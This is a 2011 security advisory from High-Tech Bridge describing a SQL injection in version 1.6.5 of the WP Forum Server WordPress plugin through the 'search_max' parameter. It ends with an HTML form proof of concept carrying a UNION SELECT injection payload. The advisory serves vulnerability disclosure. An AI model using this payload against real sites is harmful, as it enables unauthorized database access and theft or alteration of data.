HTB22851: SQL Injection in WP Forum Server wordpress plugin

Vulnerability ID: HTB22851
Reference: http://www.htbridge.ch/advisory/sql_injection_in_wp_forum_server_wordpress_plugin_1.html
Product: WP Forum Server wordpress plugin
Vendor: VastHTML ( http://lucidcrew.com/ )
Vulnerable Version: 1.6.5
Vendor Notification: 10 February 2011
Vulnerability Type: SQL Injection
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "search_max" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

<form action="http://[host]/?page_id=[page_id]&vasthtmlaction=search" method="post" name="main" >
<input type="hidden" name="search_words" value="123" />
<input type="hidden" name="search_submit" value="Search forums" />
<input type="hidden" name="search_user" value="*" />
<input type="hidden" name="search_min" value="0" />
<input type="hidden" name="search_max" value="9999 DAY) union select version(),2,3,4 – " />
<input type="submit" value="search" name="submit" />
</form>